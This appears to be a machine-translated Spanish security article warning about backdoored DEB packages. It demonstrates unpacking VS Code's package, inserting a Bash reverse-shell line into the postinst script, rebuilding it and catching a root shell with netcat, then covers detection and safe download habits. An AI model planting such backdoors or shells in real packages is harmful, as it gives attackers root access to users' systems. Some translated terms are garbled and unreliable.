¿Sabía que los atacantes pueden modificar los scripts empaquetados en un archivo DEB para obtener acceso no autorizado a su PC? Así es como se bloquean los paquetes DEB.
Conclusiones clave
- Los paquetes DEB pueden tener una puerta trasera fácilmente, lo que permite a los atacantes inyectar código malicioso en su sistema cuando los instala con permisos de root.
- Los paquetes DEB infectados son difíciles de detectar, ya que es posible que el software antivirus o las soluciones en la nube como VirusTotal no los detecten.
- Para protegerse, evite descargar paquetes DEB de sitios aleatorios, limítese a sitios de descarga oficiales o sitios confiables de la comunidad y considere instalar herramientas de seguridad para proteger su sistema Linux contra la red. ataques.
Los archivos DEB son paquetes de software que son el formato principal de envío de software en distribuciones de Linux basadas en Debian.
Para instalar paquetes DEB, debe utilizar un administrador de paquetes como dpkg con permisos de root. Los atacantes se aprovechan de esto e inyectan puertas traseras en estos paquetes. Cuando los instala con dpkg o cualquier otro administrador de paquetes, el código malicioso también se ejecuta y compromete su sistema.
Exploremos exactamente cómo los paquetes DEB tienen puertas traseras y qué puede hacer usted para protegerse.
¿Cómo se bloquean los paquetes DEB?
Antes de comprender cómo se bloquean los paquetes DEB, exploremos qué hay dentro de un paquete DEB. Como demostración, descargaré el paquete DEB de Microsoft Visual Studio Code del sitio web oficial de Microsoft. Este es el mismo paquete que descargaría si desea instalar VS Code en Linux.
Descargar:Código de estudio visual
Ahora que ha descargado el paquete de destino, es hora de descomprimirlo. Puede descomprimir un paquete DEB usando el dpkg-deb comando con el -R bandera seguida de la ruta para almacenar el contenido:
dpkg-deb -R
Esto debería extraer el contenido del paquete VS Code.
Moviéndose a la carpeta encontrará múltiples directorios, sin embargo, nuestro interés radica sólo en el DEBIAN directorio. Este directorio contiene scripts de mantenimiento que se ejecutan durante la instalación con privilegios de root. Como ya habrás descubierto, los atacantes modifican los scripts en este directorio.
Para demostración, modificaré el postinst script y agregue un shell TCP inverso Bash simple de una sola línea. Como sugiere el nombre, es un script que se ejecuta después de instalar el paquete en el sistema.
Contiene comandos que finalizan las configuraciones, como la configuración de enlaces simbólicos, el manejo de dependencias y más. Puedes encontrar toneladas de shells inversos diferentes en Internet. La mayoría de ellos funcionarán igual. Aquí está el ejemplo de una sola línea del shell inverso:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
Explicación del comando:
- intento: Este es el comando que invoca el shell Bash.
- -i: La bandera le dice a Bash que se ejecute en modo interactivo permitiendo E/S de comandos en tiempo real.
-
>& /dev/tcp/ip/puerto: Esto redirige salida estándar y error estándar a un socket de red, esencialmente estableciendo una conexión TCP con el
y . - 0>&1: Esto redirige la entrada y la salida a la misma ubicación, es decir, al enchufe de la red.
Para aquellos no iniciados, un shell inverso es un tipo de código que, cuando se ejecuta en la máquina de destino, inicia una conexión con la máquina del atacante. Los shells inversos son una excelente manera de eludir las restricciones del firewall, ya que el tráfico se genera desde la máquina detrás del firewall.
Así es como se ve el script modificado:
Como puede ver, todo es igual pero solo se ha agregado una línea, es decir, nuestro shell inverso de Bash. Ahora necesitas volver a compilar los archivos en el archivo ".debutante" formato. Simplemente use el dpkg comando con el --construir marcar o usar dpkg-deb con el -b bandera seguida de la ruta del contenido extraído:
dpkg --build
dpkg-deb -b
Ahora el paquete DEB con puerta trasera está listo para enviarse a sitios maliciosos. Simulemos un escenario en el que una víctima ha descargado el paquete DEB en su sistema y lo está instalando como cualquier otro paquete normal.
El panel de terminal superior es para el punto de vista de la víctima y el inferior es el punto de vista del atacante. La víctima está instalando el paquete con sudo dpkg -i y el atacante está escuchando pacientemente las conexiones entrantes utilizando el netcat comando en Linux.
Tan pronto como finalice la instalación, observe que el atacante obtiene la conexión de shell inversa y ahora tiene acceso de root al sistema de la víctima. Ahora ya sabes cómo se bloquean los paquetes DEB. Aprendamos ahora cómo puede protegerse.
Cómo detectar si un paquete DEB es malicioso
Ahora que sabe que los paquetes DEB infectados existen, debe preguntarse cómo encontrar los infectados. Para empezar, puedes intentar usar un software antivirus para linux como ClamAV. Desafortunadamente, cuando se ejecutó un análisis de ClamAV en el paquete, no lo marcó como malicioso. Aquí está el resultado del escaneo:
Entonces, a menos que tenga una solución antivirus premium (lo cual no garantiza que no será pirateado), es bastante difícil detectar paquetes DEB maliciosos. Intentemos utilizar una solución en la nube como el sitio web de VirusTotal:
Como puede ver, VirusTotal no detectó ningún problema. Bueno, la única forma de protegerse contra este tipo de amenazas es seguir una higiene de seguridad básica, como no descargar archivos de fuentes desconocidas, siempre. comprobando el hash de un archivoy, en general, evitando instalar software sospechoso.
Internet está lleno de amenazas de este tipo. La única forma de navegar sin perder sus datos es ser ingenioso y navegar por sitios confiables. Además, para Linux, también deberías intentar averiguar si el software que estás descargando tiene una Variante de AppImage ya que son autónomos y pueden ser aislados y, por lo tanto, mantenerse fuera de contacto con su sistema.
¡No descargue paquetes DEB de sitios aleatorios!
Los paquetes DEB no son intrínsecamente malos; sin embargo, los atacantes pueden convertirlos en armas fácilmente y enviarlos a usuarios desprevenidos. Como se demostró, un paquete DEB se puede abrir y modificar fácilmente para agregar código personalizado con solo unos pocos comandos, lo que lo convierte en un vector común para enviar malware.
Incluso las puertas traseras simples en los paquetes DEB no son detectadas por las mejores soluciones antivirus. Por lo tanto, lo mejor que puede hacer es ir a lo seguro, tener sentido común mientras navega por la web y descargar siempre software sólo desde sitios de descarga oficiales o sitios de confianza de la comunidad.
Ahora que conoce los riesgos de seguridad que conlleva la instalación de paquetes DEB desde sitios nuevos o desconocidos, debe tener cuidado al instalar software nuevo. Sin embargo, no basta con tener cuidado con lo que instalas. Su sistema Linux también puede ser blanco de ataques de red.
Para garantizar su seguridad en caso de un ataque a la red, debería considerar instalar herramientas de seguridad de red.